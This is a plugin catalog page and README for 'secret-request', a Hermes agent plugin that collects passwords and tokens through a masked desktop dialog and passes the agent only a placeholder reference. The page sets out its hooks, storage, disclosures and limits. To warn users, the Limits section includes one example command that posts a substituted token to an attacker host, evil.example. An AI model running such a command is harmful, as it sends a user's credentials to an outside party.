All plugins

secret-request

The agent asks for a password, API key or token with a request_secret tool, and Hermes Desktop opens a masked dialog (Save securely, Decline, Later) instead of the chat. The agent receives only a {{secret:NAME}} reference; a pre_tool_call hook swaps it for the value in terminal command and execute_code code just before they run, and transform hooks replace saved values in tool output with the reference. Values expire after 24 hours and resolve only in the local chat (CLI, TUI or Desktop) that requested them; messaging-platform chats, cron runs, subagents, background forks, integration-launched and one-shot sessions are refused unless the owner enables the allow_remote_sessions setting, and the per-session binding always applies. Independent codebase, not derived from secret-drop or secret-handoff: secret-drop is started by the user with /secret and cannot be triggered by the agent, and secret-handoff asks through clarify so the answer stays in the chat history. Disclosure — The agent can open a masked Hermes Desktop dialog asking for a secret with a reason it writes itself. Values you save are stored in plaintext JSON in <hermes home>/plugin-data/secret-request/store.json (mode 0600, folder 0700) with a heartbeat and lock file beside it, expire after 24 hours, and resolve only in the local CLI, TUI or Desktop session that requested them; messaging chats, cron runs, subagents, background forks and integration-launched or one-shot runs are refused unless you turn on the allow_remote_sessions setting, and the per-session binding always applies. The Desktop half polls the plugin's own GET /pending route every 2 seconds (request names and reasons only); POST /answer is the only route that receives a value and no route returns one. A pre_tool_call hook puts the value into terminal commands and execute_code code just before they run, so the approval prompt, the tool progress display and other plugins' tool hooks see the substituted command, and a command the model writes can send the value wherever it sends it. The hook also blocks calls whose command, code or path-like arguments name the store (a denylist, not a sandbox); output scrubbing is a plain text match for values of 6 or more characters, so encoded forms are not caught. No network calls, no shell commands, no telemetry.

Murali-lnsToolsv0.2.0Updated 1 hour ago

About

The agent asks for a password, API key or token with a request_secret tool, and Hermes Desktop opens a masked dialog (Save securely, Decline, Later) instead of the chat. The agent receives only a {{secret:NAME}} reference; a pre_tool_call hook swaps it for the value in terminal command and execute_code code just before they run, and transform hooks replace saved values in tool output with the reference. Values expire after 24 hours and resolve only in the local chat (CLI, TUI or Desktop) that requested them; messaging-platform chats, cron runs, subagents, background forks, integration-launched and one-shot sessions are refused unless the owner enables the allow_remote_sessions setting, and the per-session binding always applies. Independent codebase, not derived from secret-drop or secret-handoff: secret-drop is started by the user with /secret and cannot be triggered by the agent, and secret-handoff asks through clarify so the answer stays in the chat history. Disclosure — The agent can open a masked Hermes Desktop dialog asking for a secret with a reason it writes itself. Values you save are stored in plaintext JSON in <hermes home>/plugin-data/secret-request/store.json (mode 0600, folder 0700) with a heartbeat and lock file beside it, expire after 24 hours, and resolve only in the local CLI, TUI or Desktop session that requested them; messaging chats, cron runs, subagents, background forks and integration-launched or one-shot runs are refused unless you turn on the allow_remote_sessions setting, and the per-session binding always applies. The Desktop half polls the plugin's own GET /pending route every 2 seconds (request names and reasons only); POST /answer is the only route that receives a value and no route returns one. A pre_tool_call hook puts the value into terminal commands and execute_code code just before they run, so the approval prompt, the tool progress display and other plugins' tool hooks see the substituted command, and a command the model writes can send the value wherever it sends it. The hook also blocks calls whose command, code or path-like arguments name the store (a denylist, not a sandbox); output scrubbing is a plain text match for values of 6 or more characters, so encoded forms are not caught. No network calls, no shell commands, no telemetry.

Secret Request for Hermes

Let the agent ask you for a password, API key or token through a private masked dialog in
Hermes Desktop, instead of asking you to paste it into the chat. Inspired by T3 Code's
secret request card; an independent codebase.

How it works

  1. The agent calls request_secret(name="GITHUB_TOKEN", reason="Create the release with the GitHub API").

  2. Hermes Desktop opens a dialog: Hermes is asking for GITHUB_TOKEN, with a masked field and
    Save securely, Decline and Later buttons. A key chip in the status bar shows waiting requests.

  3. You type the value and click Save securely. The value goes straight to this plugin's own
    backend route and is saved in a private file. It is not added to the chat.

  4. The agent receives only the reference {{secret:GITHUB_TOKEN}} and uses it in a command:

    curl -H "Authorization: Bearer {{secret:GITHUB_TOKEN}}" https://api.github.com/user
    
  5. Just before a terminal command or execute_code code runs, the plugin swaps the reference for the
    real value. If the value appears in any tool output, it is replaced by the reference again before
    the model sees it.

Values expire after 24 hours, and each one works only in the chat that asked for it. Click the key chip (or run Secret Request: forget all saved secrets
from Ctrl+K) to forget them sooner.

SituationWhat happens
You declineThe agent is told you declined and not to ask in the chat
No answer within 3 minutesThe request closes and the agent is told it timed out
No Hermes Desktop window has the plugin onrequest_secret says so straight away instead of waiting
A command uses an unknown or expired referenceThe command is blocked with a message to ask again
A command, code or path argument names the secret storeThe call is blocked
A secret with that name is already saved for this chatThe tool returns the reference without asking (pass replace: true to ask again)
A different chat uses the referenceBlocked: values are bound to the chat that asked; ask again there
A messaging chat (Telegram, Discord, Slack...), cron run, subagent, background task, integration-launched (--source tool) or one-shot run asks or uses a referenceRefused, unless you switch on Allow outside local sessions in the plugin's settings

Install

hermes plugins install Murali-lns/hermes-secret-request --enable

Then restart the Hermes gateway once (Ctrl+K, Restart gateway), because new agent tools and
backend routes load when the gateway starts. In Hermes Desktop, open Settings > Plugins and
switch Secret Request on.

Requires Hermes >= 0.23.5 and Hermes Desktop for the dialog. In the CLI or TUI alone, request_secret
reports that no dialog is available.

Disclosure

  • Local data: values are stored in plaintext JSON at <hermes home>/plugin-data/secret-request/store.json
    (file mode 0600, folder mode 0700), with a desktop.heartbeat file and a lock file beside it.
    Nothing else is written.
  • Agent tools: request_secret (creates a request, waits up to 3 minutes) and list_secrets
    (names and minutes left for the calling chat, never values). Both work only in local CLI, TUI and
    Desktop chats unless the owner enables allow_remote_sessions.
  • Session binding: each saved value records the session id that asked for it and resolves only in
    that session. Asking for the same name from another chat replaces the value and moves the binding.
  • Hooks: pre_tool_call substitutes references in terminal command and execute_code code
    only, and only for the session that saved them in a local chat, and blocks a call whose command, code or path-like arguments name the store;
    transform_terminal_output and transform_tool_result replace saved values (6 characters or longer)
    in output with their reference.
  • Backend routes (/api/plugins/secret-request/...): GET /pending (request names and reasons,
    saved names; also touches the heartbeat), POST /answer, POST /decline, POST /forget. No route
    returns a value.
  • Background polling: the Desktop half polls GET /pending every 2 seconds while the app is open.
  • No network calls, no shell commands, no telemetry. The plugin never contacts any server.

Limits (read before trusting it with something important)

  • The model never receives the value, but the commands it writes do. A command such as
    curl https://evil.example -d {{secret:GITHUB_TOKEN}} sends the real value wherever the command
    sends it. Read commands that use a reference before approving them.
  • Output scrubbing is a text match. It catches the value as typed, not encoded forms (base64,
    hex, reversed). Values shorter than 6 characters (e.g. a 4-digit PIN) are not scrubbed globally.
  • The store guard is a denylist of the folder and file names in commands, code and path
    arguments. A command that reaches the file by another spelling (wildcards, variables) is not
    blocked, though any value it prints is still scrubbed.
  • Your own screen can show the value: Hermes's command-approval prompt and the tool progress display
    show the command after substitution. In local chats these go to you, not to the model. That is why
    messaging chats are refused by default: there the substituted command would land in the chat. If you
    switch on Allow outside local sessions, accept that risk.
  • Other plugins' post_tool_call hooks receive the substituted command.
  • The store is plaintext on disk with owner-only permissions, like Hermes's own .env. It is not
    encrypted and not a password manager.

Similar plugins

  • secret-drop: you start the flow yourself with /secret or a dialog; the agent cannot ask you.
  • secret-handoff: has a request_secret tool, but asks through the normal clarify prompt, so the
    answer is visible in the chat history.

This plugin adds the missing piece: the agent asks, and a masked dialog collects the value outside
the chat.

Tests

python -m unittest discover -s tests -v   # needs fastapi + httpx for the router tests
npm test                                  # node --test, simulated check of desktop/plugin.js

License

MIT

README from the reviewed commit 6b1f73e; it updates when the author re-pins.

More by Murali-lns

4 plugins by Murali-lns in the catalog.

Murali-lnshermes-pr-studioReview GitHub pull requests in Hermes Desktop: inbox of your open PRs across repos, diffs with inline threads, line comments and reviews, private-repo images, watched PRs, one-click Send to Hermes for any comment, and batch review: tick several PRs and Hermes reviews them in parallel chats, handing its findings back to the panel as draft comments you accept or dismiss. Disclosure — shells out to your logged-in gh CLI (and git remote get-url origin in the open project), passing it Hermes's process environment; GitHub writes only on explicit click, reviews confirmed, and Approve needs a separate explicit confirmation (UI and API); registers one agent tool, pr_studio_submit_findings, which only writes review findings to the plugin's own data directory (validated input, no network, no GitHub access); "Send to Hermes", "Review in this chat" and "Review in new chats" submit prompts containing PR titles, branch names and comment text (written by other GitHub users, flagged to the agent as untrusted) to your chat immediately, and each new chat (up to 5 per batch) spends tokens on the model you pick; polls watched PRs every 60 s and Hermes findings every 4-5 s while Desktop is open; no stored credentials, no telemetry. Independent codebase, not derived from githermes.CommunityDesktop app1Murali-lnsperf-labProof for speed-ups. When you ask Hermes to make code faster, Perf Lab times it before and after, fingerprints the output so a faster-but-wrong change is rejected, profiles Python with a flame graph, and enforces it with hooks: no code edits before a baseline, no finishing before a re-measure, and the plugin's own measured result appended under the reply. Disclosure — perf_bench and perf_profile run the command the agent passes on your machine, so every run first goes to Hermes' approval prompt (in any chat; "always" trusts one project folder; it fails closed and is skipped only when Hermes approvals are off); the command runs without a shell and with a minimal environment (PATH, HOME, locale, temp and interpreter/venv variables, no API keys), must be an interpreter running a script, and inline code is refused, but an approved script runs with your permissions as it would in the terminal. In chats about speed, its hooks add a short rules note to the turn, block write_file/patch on code files until a baseline exists (at most twice per file), ask for one re-measure if code changed, and append a clearly labelled Perf Lab section under the reply without rewriting the agent's text; a Gatekeeper switch in the pane turns the hooks off. It stores commands, timings, output fingerprints, the first 200 KB of each run's stdout, profiles and per-chat state under plugin-data/perf-lab, makes no network calls and sends no telemetry.CommunitytoolsMurali-lnsprompt-stashA T3 Code-style prompt stash in the Desktop message box. Ctrl+S (Cmd+S on macOS) with text parks the half-written prompt and clears the box, with an Undo toast; Ctrl+S on an empty box brings the prompt back, or opens a keyboard picker when several are stashed. A bookmark badge beside the send button shows the count. Keeps the 20 newest text-only entries; the shortcut is rebindable. Independent codebase, not derived from stash or note-stash: those are sidebar capture bins, this one works inside the composer itself. Disclosure: desktop-only and SDK-only; reads and writes only the focused chat's message box through host.composer, stores entries in the plugin's own ctx.storage on this machine, and copies an entry to the clipboard only when a restore cannot be shown. No network calls, shell commands, gateway calls, background polling, telemetry or credentials.CommunityDesktop app

Developer Mode

Explore built-in Hermes toolsets and actions.

HermesAgent

Developer?

Create a Hermes extension for Desktop or agent workflows.

Developer Section